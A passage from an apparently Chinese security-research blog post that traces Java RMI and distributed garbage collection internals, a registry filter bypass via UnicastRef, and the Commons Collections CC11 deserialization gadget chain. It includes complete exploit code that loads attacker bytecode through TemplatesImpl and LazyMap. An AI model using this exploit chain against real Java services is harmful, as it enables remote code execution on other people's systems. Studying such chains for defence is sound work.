new ConnectionHandler(socket, clientHost));
} catch (RejectedExecutionException e) {
closeSocket(socket);
tcpLog.log(Log.BRIEF,
"rejected connection from " + clientHost);
}

}
......
}
}

我们看TCPTransport的run方法,在其被调用时,其方法内部会调用run0方法

其中较为重要的就是handleMessages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// TCPTransport#run
public void run() {
Thread t = Thread.currentThread();
String name = t.getName();
try {
t.setName("RMI TCP Connection(" +
connectionCount.incrementAndGet() +
")-" + remoteHost);
AccessController.doPrivileged((PrivilegedAction<Void>)() -> {
run0();
return null;
}, NOPERMS_ACC);
} finally {
t.setName(name);
}
}

// TCPTransport#run0
private void run0() {

......
// read input messages
handleMessages(conn, true);
break;

......
}

在handleMessages方法中,op在默认情况下都是TransportConstants.Call,所以最后会调用到serviceCall方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void handleMessages(Connection conn, boolean persistent) {
int port = getEndpoint().getPort();

try {
DataInputStream in = new DataInputStream(conn.getInputStream());
do {
int op = in.read(); // transport op
if (op == -1) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " +
port + ") connection closed");
}
break;
}

if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + port +
") op = " + op);
}

switch (op) {
case TransportConstants.Call:
// service incoming RMI call
RemoteCall call = new StreamRemoteCall(conn);
if (serviceCall(call) == false)
return;
break;

case TransportConstants.Ping:
......
}
} while (persistent);

}
}

serviceCall方法中会从静态表中读取处Targert

此时serviceCall中disp是一个RegistryImpl_Skel类,该方法会从target中提取出dispatcher

最后会调用到disp.dispatch方法,进入到RegistryImpl_Skel类的dispatch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public boolean serviceCall(final RemoteCall call) {
try {
......
Transport transport = id.equals(dgcID) ? null : this;
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

final Dispatcher disp = target.getDispatcher();
target.incrementCallCount();

try {
/* call the dispatcher */
transportLog.log(Log.VERBOSE, "call dispatcher");

final AccessControlContext acc =
target.getAccessControlContext();
ClassLoader ccl = target.getContextClassLoader();

ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();

try {
setContextClassLoader(ccl);
currentTransport.set(this);
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
checkAcceptPermission(acc);
disp.dispatch(impl, call);
return null;
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (IOException) pae.getException();
}
} finally {
setContextClassLoader(savedCcl);
currentTransport.set(null);
}

} catch (IOException ex) {
transportLog.log(Log.BRIEF,
"exception thrown by dispatcher: ", ex);
return false;
} finally {
target.decrementCallCount();
}

} catch (RemoteException e) {

// if calls are being logged, write out exception
if (UnicastServerRef.callLog.isLoggable(Log.BRIEF)) {
// include client host name if possible
String clientHost = "";
try {
clientHost = "[" +
RemoteServer.getClientHost() + "] ";
} catch (ServerNotActiveException ex) {
}
String message = clientHost + "exception: ";
UnicastServerRef.callLog.log(Log.BRIEF, message, e);
}

try {
ObjectOutput out = call.getResultStream(false);
UnicastServerRef.clearStackTraces(e);
out.writeObject(e);
call.releaseOutputStream();

} catch (IOException ie) {
transportLog.log(Log.BRIEF,
"exception thrown marshalling exception: ", ie);
return false;
}
}

return true;
}
}

客户端请求服务端-服务端

服务端和注册中心的流程其实一样,当客户端去调用服务端远程方法时,最后也会进入serviceCall方法,调用dispatch方法
1
disp.dispatch(impl, call);

进入dispatch方法后,我们可以看到,当skel为null的时候,才能走到下面的代码,第一个target为DGC,此时skel不为空直接返回

当我们请求到服务端动态代理后,发现skel为空,则不会直接返回而是走到下面的代码。

首先会读取输入流,从输入流中先获取到method,就是我们所调用的sayhello方法

接下来会将我们的参数用unmarshalValue反序列化出来,再调用method.invoke方法去调用我们所调用的sayHello方法,然后会用marshalValue将函数的返回值result序列化进去,将其传回客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
public void dispatch(Remote obj, RemoteCall call) throws IOException {
// positive operation number in 1.1 stubs;
// negative version number in 1.2 stubs and beyond...
int num;
long op;

try {
// read remote call header
ObjectInput in;
try {
in = call.getInputStream();
num = in.readInt();
if (num >= 0) {
if (skel != null) {
oldDispatch(obj, call, num);
return;
} else {
throw new UnmarshalException(
"skeleton class not found but required " +
"for client version");
}
}
op = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}

MarshalInputStream marshalStream = (MarshalInputStream) in;
marshalStream.skipDefaultResolveClass();

Method method = hashToMethod_Map.get(op);
if (method == null) {
throw new UnmarshalException("unrecognized method hash: " +
"method not supported by remote object");
}

// if calls are being logged, write out object id and operation
logCall(obj, method);

// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];

try {
unmarshalCustomCallData(in);
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
} catch (java.io.IOException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} catch (ClassNotFoundException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}

// make upcall on remote object
Object result;
try {
result = method.invoke(obj, params);
} catch (InvocationTargetException e) {
throw e.getTargetException();
}

// marshal return value
try {
ObjectOutput out = call.getResultStream(true);
Class<?> rtype = method.getReturnType();
if (rtype != void.class) {
marshalValue(rtype, result, out);
}
} catch (IOException ex) {
throw new MarshalException("error marshalling return", ex);
/*
* This throw is problematic because when it is caught below,
* we attempt to marshal it back to the client, but at this
* point, a "normal return" has already been indicated,
* so marshalling an exception will corrupt the stream.
* This was the case with skeletons as well; there is no
* immediately obvious solution without a protocol change.
*/
}
} catch (Throwable e) {
logCallException(e);

ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
out.writeObject(e);
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
}

客户端请求服务端-DGC

创建

DGC是RMI中分布式垃圾回收的模块

之前我们看到,在静态表中,除了我们所创建的两个Target,还有一个DGC的Target,DGC这个类实际是在DGCImpl.dgcLog.isLoggable(Log.VERBOSE)这里被创建的,有人可能问,这里不是就简单的一行代码调用吗,我们之前讲过,调用一个类的静态变量时候,是会完成类的初始化的

我们在put Target的地方下一个断点,这里put的Target是一个动态代理类,说明在我们将Target放入静态表的时候,DGC已经被创建好并放入静态表中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void putTarget(Target target) throws ExportException {
ObjectEndpoint oe = target.getObjectEndpoint();
WeakRef weakImpl = target.getWeakImpl();

if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + oe);
}

synchronized (tableLock) {
/**
* Do nothing if impl has already been collected (see 6597112). Check while
* holding tableLock to ensure that Reaper cannot process weakImpl in between
* null check and put/increment effects.
*/
if (target.getImpl() != null) {
if (objTable.containsKey(oe)) {
throw new ExportException(
"internal error: ObjID already in use");
} else if (implTable.containsKey(weakImpl)) {
throw new ExportException("object already exported");
}

objTable.put(oe, target);
implTable.put(weakImpl, target);

if (!target.isPermanent()) {
incrementKeepAliveCount();
}
}
}
}
1
2
3
static final Log dgcLog = Log.getLog("sun.rmi.dgc", "dgc",
LogStream.parseLevel(AccessController.doPrivileged(
new GetPropertyAction("sun.rmi.dgc.logLevel"))));

在类初始化的时候实际上也是会走到它类中的静态代码块的位置,在静态代码块的中间,实际就new了一个DGCImpl,后续的创建方式,也就和创建注册中心的方法很类似了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static {
/*
* "Export" the singleton DGCImpl in a context isolated from
* the arbitrary current thread context.
*/
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
ClassLoader savedCcl =
Thread.currentThread().getContextClassLoader();
try {
Thread.currentThread().setContextClassLoader(
ClassLoader.getSystemClassLoader());

/*
* Put remote collector object in table by hand to prevent
* listen on port. (UnicastServerRef.exportObject would
* cause transport to listen.)
*/
try {
dgc = new DGCImpl();
ObjID dgcID = new ObjID(ObjID.DGC_ID);
LiveRef ref = new LiveRef(dgcID, 0);
UnicastServerRef disp = new UnicastServerRef(ref);
Remote stub =
Util.createProxy(DGCImpl.class,
new UnicastRef(ref), true);
disp.setSkeleton(dgc);

Permissions perms = new Permissions();
perms.add(new SocketPermission("*", "accept,resolve"));
ProtectionDomain[] pd = { new ProtectionDomain(null, perms) };
AccessControlContext acceptAcc = new AccessControlContext(pd);

Target target = AccessController.doPrivileged(
new PrivilegedAction<Target>() {
public Target run() {
return new Target(dgc, disp, stub, dgcID, true);
}
}, acceptAcc);

ObjectTable.putTarget(target);
} catch (RemoteException e) {
throw new Error(
"exception initializing server-side DGC", e);
}
} finally {
Thread.currentThread().setContextClassLoader(savedCcl);
}
return null;
}
});
}

在调用createProxy时候,stubClassExists还是会去检查,JDK中有没有DGCImpl_Stub,确实是有这个类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
......

if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

......
}

发现存在这个类,就将其实例化并返回true

和注册中心相类似,注册中心的端口用来注册服务,而DGC的端口是用来远程回收服务,只是端口不是确定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

功能

在DGCImpl_Stub中存在两个方法,可以理解为一个比较弱的清理,一个比较干净的清理

下面的两个方法都存在风险点,他们都调用了UnicastRef的invoke方法,我们之前说过,这个方法存是存在风险的

还有一个就在dirty的var9.readObject()处,会进行一个反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

我们接下来看看服务端DGCImpl_Skel

其中有两个case,应该就是clean和dirty了,其中也是明显的几处反序列化的地方,都存在着攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

Java高版本绕过

在Java高版本中,在RegistryImpl类中新加了一个registryFilter方法,里面对所传入的序列化对象的类型进行了限制
1
2
3
4
5
6
7
8
9
10
11
12
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

其中有希望利用的只有Proxy和UnicastRef类,其中最重要的是UnicastRef类,在这个类中有一个invoke方法 ,在修复以后,客户端的被攻击点是没有被修复的,我们就想如果能让服务端去发送一个客户端请求,就会暴露出攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();
} catch (RemoteException var3) {
clientRefLog.log(Log.BRIEF, "exception: ", var3);
this.free(var1, false);
throw var3;
} catch (Error var4) {
clientRefLog.log(Log.BRIEF, "error: ", var4);
this.free(var1, false);
throw var4;
} catch (RuntimeException var5) {
clientRefLog.log(Log.BRIEF, "exception: ", var5);
this.free(var1, false);
throw var5;
} catch (Exception var6) {
clientRefLog.log(Log.BRIEF, "exception: ", var6);
this.free(var1, true);
throw var6;
}
}

我们的想法是找一个地方去调用Util.createProxy创建一个动态代理类,我们找到的是DGC这个类可以被利用,然后调用它的clean或者dirty方法去触发他的invoke方法

我们直接走向最终找到的DGCClient内部类EndpointEntry的构造方法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private EndpointEntry(final Endpoint endpoint) {
this.endpoint = endpoint;
try {
LiveRef dgcRef = new LiveRef(dgcID, endpoint, false);
dgc = (DGC) Util.createProxy(DGCImpl.class,
new UnicastRef(dgcRef), true);
} catch (RemoteException e) {
throw new Error("internal error creating DGC stub");
}
renewCleanThread = AccessController.doPrivileged(
new NewThreadAction(new RenewCleanThread(),
"RenewClean-" + endpoint, true));
renewCleanThread.start();
}

接下来我们找哪里去创建了这么一个类,在EndpointEntry中的lookup方法中创建了这么一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
public static EndpointEntry lookup(Endpoint ep) {
synchronized (endpointTable) {
EndpointEntry entry = endpointTable.get(ep);
if (entry == null) {
entry = new EndpointEntry(ep);
endpointTable.put(ep, entry);
if (gcLatencyRequest == null) {
gcLatencyRequest = GC.requestLatency(gcInterval);
}
}
return entry;
}
}

我们看只有在registerRefs中调用了lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
/*
* Look up the given endpoint and register the refs with it.
* The retrieved entry may get removed from the global endpoint
* table before EndpointEntry.registerRefs() is able to acquire
* its lock; in this event, it returns false, and we loop and
* try again.
*/
EndpointEntry epEntry;
do {
epEntry = EndpointEntry.lookup(ep);
} while (!epEntry.registerRefs(refs));
}

我们需要找到一个反序列化利用的点,在向上找,会找到两个调用registerRefs的方法

我们看read方法中,如果这个输入流不是并且不继承于ConnectionInputStream的话,就会调用我们的registerRefs方法,但是这个in是一个ConnectionInputStream,所以我们只能去找另一个方法去利用

1
2
3
4
5
6
7
8
9
10
11
12
13
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

另一个最终的流程是releaseInputStream去调用StreamRemoteCall.registerRefs然后进入到if中(这个判断条件中的incomingRefTable是为空的,我们后续会说怎么走到if里面)调用DGCClient.registerRefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void releaseInputStream() throws IOException {
try {
if (in != null) {
try {
in.done();
} catch (RuntimeException e) {
}
in.registerRefs();
in.done(conn);
}
conn.releaseInputStream();
} finally {
in = null;
}
}

void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

最后调用releaseInputStream的地方就是非常的多了,在许多Skel中都有调用

最后的流程如下,只要调用releaseInputStream,就会创建一个proxy对象

实际上反序列化流程,只是为了给incomingRefTable赋值,攻击流程实际是在正常的调用流程中

我们上面说过,这里的值默认是空的,要想走入DGCClient.registerRefs中,我们就应该去找,哪里给incomingRefTable赋值

1
2
3
4
5
6
7
8
void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

实际这里只有一个地方ConnectionInputStream的saveRef中,向里面put进去了一个东西,使他不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void saveRef(LiveRef ref) {
Endpoint ep = ref.getEndpoint();

// check whether endpoint is already in the hashtable
List<LiveRef> refList = incomingRefTable.get(ep);

if (refList == null) {
refList = new ArrayList<LiveRef>();
incomingRefTable.put(ep, refList);
}

// add ref to list of refs for endpoint ep
refList.add(ref);
}

saveRef也是只有一个地方去调用,就是read方法,我们之前讨论过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
......

if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}
}

我们看看谁调用了read方法,只有UnicastRef和UnicastRef2中的readExternal去调用了read方法

readExternal是一个和readObject类似但不一样的东西,如果所反序列化的类,也有readExternal方法,也会去调用readExternal方法

1
2
3
4
5
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);
}

UnicastRef是白名单里面的内容,我们向客户端传入一个UnicastRef对象触发它的readexternal方法

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

进入到LiveRef.read中… 剩下的调用我们就不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
......
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}

return var5;
}

...

后续会走到EndpointEntry中,在创建完dgc后会走到下面创建一个RenewCleanThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
private EndpointEntry(Endpoint var1) {
this.endpoint = var1;

try {
LiveRef var2 = new LiveRef(DGCClient.dgcID, var1, false);
this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);
} catch (RemoteException var3) {
throw new Error("internal error creating DGC stub");
}

this.renewCleanThread = (Thread)AccessController.doPrivileged(new NewThreadAction(new RenewCleanThread(), "RenewClean-" + var1, true));
this.renewCleanThread.start();
}

RenewCleanThread中,会调用DGCClient的makeDirtyCall方法,而这个方法最终会调用他的dirty方法,就会调用到invoke方法,最终让服务器发送客户端请求

1
2
3
4
5
6
7
8
9
10
11
12
13
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
if (var4) {
EndpointEntry.this.makeDirtyCall(var5, var6);
}

if (!EndpointEntry.this.pendingCleans.isEmpty()) {
EndpointEntry.this.makeCleanCalls();
}

return null;
}
}

CC11

分析完CC1-7,继续分析一下CC11,CC11使用字节码加载,它其实是CC2+CC6的组合变形
  • 漏洞版本:cc组件3.1-3.2.1

这里我把CC链子的流程图放上来,实际根据CC1-7,可以衍生出来很多CCN

CC11攻击链分析

有数组攻击链

恶意类加载

CC2链流程
1
2
3
4
5
6
7
8
9
10
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

CC11的前半段和CC2的前半段是一样的

只需要调用templates的newTransformer方法的话,就可以实现恶意类的加载(这里的流程我们就不分析了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");


Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

后半部分

调用newTransformer
CC6链流程
1
2
3
4
5
6
7
8
9
10
11
/*
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
*/

这里就使用CC6的后半段代码,利用TiedMapEntryhashCode方法,一步一步调用到InvokerTransformer,利用它来执行newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);

lazymap.put(tiedMapEntry,null);
lazymap.remove(null);

感觉CC6这里没有很熟练,将流程再分析一下

调用chainedTransformer.transformer

调用transformer方法,这里用LazyMap.get去触发

get方法中可以发现factory.transform的factory是可以在构造函数中赋值的,因此对于我们是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
//构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
调用get方法

这里使用TiedMapEntrygetValue方法,我们可以从构造方法中看到map和key都是可控的

1
2
3
4
5
6
7
8
9
public Object getValue() {
return map.get(key);
}
//构造方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
调用getValue

getValue方法,我们可以从本类的hashCode方法中找到调用

且该方法我们想到可以使用HashMap作为入口,这里HashMap入口调用hashCode不在赘述

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

EXP编写

这里我们的EXP就已经写完了,但是我们发现在put时,就已经触发了计算器,是因为在put时也会触发其hashCode方法我们也和CC6一样,先改为无用的东西,后面通过反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove("xxx");

// serialize(expMap);
unserialize("ser.bin");

通过修改以后,我们的代码就可以成功序列化,并在反序列化执行恶意类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove("xxx");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

// serialize(expMap);
unserialize("ser.bin");

}

无数组攻击链

无数组的CC11攻击链常用于攻击shiro时使用

无数组相比于有数组的差异,只在调用InvokerTransformer.transform(templates)时,传入templates参数的地方有一些差异

有数组攻击链,利用ChainedTransformer的递归调用,和ConstantTransformer的指定返回类来传参

而无数组的攻击链,参数是从getValue调用LazyMapget方法时传入的

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object getValue() {
return map.get(key);
}
//LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

因此我们只需要做一些简单的替换即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
